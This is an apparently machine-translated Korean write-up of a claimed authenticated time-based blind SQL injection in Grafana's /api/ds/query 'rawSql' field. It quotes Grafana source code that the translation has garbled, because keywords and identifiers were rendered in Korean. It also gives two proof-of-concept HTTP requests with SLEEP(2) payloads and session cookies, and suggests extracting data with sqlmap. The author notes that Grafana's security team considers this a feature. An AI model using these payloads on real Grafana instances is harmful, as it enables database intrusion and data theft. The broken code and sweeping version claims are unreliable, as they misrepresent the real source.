취약점 설명
모니터링 및 가시성을 위한 오픈 소스 플랫폼 이 SQL 인젝션 취약점을 악용하려면 유효한 계정으로 grafana 웹 백엔드에 로그인한 후 /api/ds/query "rawSql" 항목에 악성 POST 요청을 보내야 합니다.
공격자가 그라파나 웹 백엔드에 로그인하면 /api/ds/query api에 대한 포스트 요청을 사용하여 "rawSql" 파일을 수정하여 악성 SQL 문자열을 실행함으로써 블라인드 시간 기반 SQL 삽입 취약점을 유발하여 데이터베이스에서 데이터를 유출할 수 있습니다. 데이터베이스에서 데이터를 유출합니다.
위험 수준
높은
영향을 받는 버전
그라파나 최신 버전 및 모든 이전 버전
취약점 분석
영향을 받는 코드 블록 및 함수
- grafana/packages/grafana-sql/src/datasource/SqlDatasource.ts 파일에 있는 grafana grafana-sql 패키지
// 참고: 이것은 항상 `@grafana/data/getDefaultTimeRange` 시간 범위로 실행됩니다.
async runSql(쿼리: 문자열, 옵션?: RunSQLOptions) {
const range = getDefaultTimeRange();
const frame = await this.runMetaQuery({ rawSql: 쿼리, 형식: QueryFormat.Table, refId: options?.refId }, 범위);
새 데이터프레임뷰(프레임)을 반환합니다;
}
private runMetaQuery(요청: Partial, 범위: TimeRange): Promise {
const refId = 요청.refId || '메타';
const queries: DataQuery[] = [{ ...요청, 데이터 소스: 요청.데이터 소스 || this.getRef(), refId }];
마지막 값에서 반환(
getBackendSrv()
.fetch({
URL: '/api/ds/query',
메서드: 'POST',
헤더: this.getRequestHeaders(),
데이터: {
from: range.from.valueOf().toString(),
to: range.to.valueOf().toString(),
쿼리,
},
요청Id: refId,
})
.pipe(
map((res: FetchResponse) => {
const rsp = toDataQueryResponse(res, queries);
return rsp.data[0] ?? { fields: [] };
})
)
);
}
- 그라파나 데이터 소스 플러그인은 grafana/public/app/plugins/datasource/influxdb/datasource.ts 파일에 있습니다.
async metricFindQuery(쿼리: 문자열, 옵션?: any): Promise {
if (
이.버전 === InfluxVersion.Flux ||
this.version === InfluxVersion.SQL ||
this.isMigrationToggleOnAndIsAccessProxy()
) {
const target: InfluxQuery & SQLQuery = {
refId: 'metricFindQuery',
쿼리,
rawQuery: true,
...(this.version === InfluxVersion.SQL ? { rawSql: query, format: QueryFormat.Table } : {}), ...(this.version === InfluxVersion.SQL ?
};
마지막 값에서 반환(
super.query({
...(옵션 ?? {}), // '범위' 포함
대상: [대상],
})
).then(this.toMetricFindValue);
}
const interpolated = this.templateSrv.replace(
쿼리,
옵션이 있나요?
(값: 문자열 | 문자열[] = [], 변수: 쿼리변수모델) => this.interpolateQueryExpr(값, 변수, 쿼리)
);
return lastValueFrom(this._seriesQuery(보간, 옵션)).then((resp) => {
이.응답파서.파싱(query, resp)을 반환합니다;
});
}
……
마지막 값에서 반환(
getBackendSrv()
.fetch({
URL: '/api/ds/query',
메서드: 'POST',
헤더: this.getRequestHeaders(),
데이터: {
에서: options.range.from.valueOf().toString(),
to: options.range.to.valueOf().toString(),
쿼리: [대상],
},
요청Id: annotation.name,
})
.pipe(
map(
비동기 (res: FetchResponse)=> =>
await this.responseParser.transformAnnotationResponse(annotation, res, target)
)
)
);
Grafana는 DataSource 에이전트로 전송된 쿼리의 유효성을 검사하지 않습니다.
취약점 재발:
공격자는 위의 단계를 사용하여 SQL 인젝션을 수행할 수 있는데, 이는 grafana가 SQL 문 쿼리를 전송하여 버그를 발생시키는 것입니다.
그라파나 V8.0.4 POC:
POST /api/ds/query HTTP/1.1
호스트: 172.16.32.57:3000
사용자 에이전트: qzd_security_test_user_agent
수락: 애플리케이션/json, 텍스트/일반, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
수락-인코딩: gzip, 수축 해제
Referer: http://172.16.32.57:3000/d/AEo5dM44k/pei-xun-xi-tong?orgId=1
콘텐츠 유형: 애플리케이션/json
x-grafana-org-id: 1
콘텐츠 길이: 142
Origin: http://172.16.32.57:3000
DNT: 1
연결: 닫기
Cookie: grafana_session=ede75844e20b0001a30e2c8522e5f1fc
{"queries":[{"refId": "A", "format". "time_series", "datasourceId":2, "rawSql":"( SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)","maxDataPoints":10000}]}
백엔드에 로그인하여 "탐색"을 클릭한 다음 burp를 사용하여 POST /api/ds/query 패킷을 캡처하고 "rawSql" 항목을 악성 SQL 문자열로 변경한 다음 시간 기반 시간 기반 SQL 인젝션을 얻습니다.
POST /api/ds/query HTTP/1.1
호스트: 172.28.171.25:3000
사용자 에이전트: qzd_security_test_user_agent
수락: 애플리케이션/json, 텍스트/일반, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
수락-인코딩: gzip, 수축 해제
Referer: http://172.28.171.25:3000/explore
콘텐츠 유형: 애플리케이션/json
X-데이터소스-UID: EDJ6PZ14V89A8C
x-grafana-device-id: 6eda885e8d5e5370781b533e605dd6fb
x-grafana-org-id: 1
X-플러그인-ID: MYSQL
콘텐츠 길이: 201
Origin: http://172.28.171.25:3000
DNT: 1
연결: 닫기
Cookie: grafana_session=dfa008ccdbe45635eed9592216f2f04a; grafana_session_expiry=1713514866
{"from": "1713492692433″, "to": "1713514292433″," queries":[{"rawSql":"(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)", "format": "table", "refId": "datasets ", "datasource":{"type": "mysql"," UID": "EDJ6PZ14V89A8C"}}]}
이제 SQL맵을 사용하여 데이터를 드래그할 수 있습니다.
취약점 수정
Grafana는 데이터 소스 에이전트로 전송된 쿼리의 유효성을 검사하지 않으며, 필터링은 데이터 소스 측에서 수행해야 합니다.
공식 그라파나 보안팀은 이것이 취약점이 아니라 백엔드의 기능이라고 생각하며, 저에게 큰 혼란을 줄 것 같습니다 ......
하지만 저는 그렇게 생각하지 않아서 이 글을 게시했습니다 :)
참조 리소스
https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/#limit-viewer-query-permissions
xbear의 원본 기사, 복제 시 출처 표시: https://cncso.com/kr/그라파나-sql-인젝션-고위험-vuln-html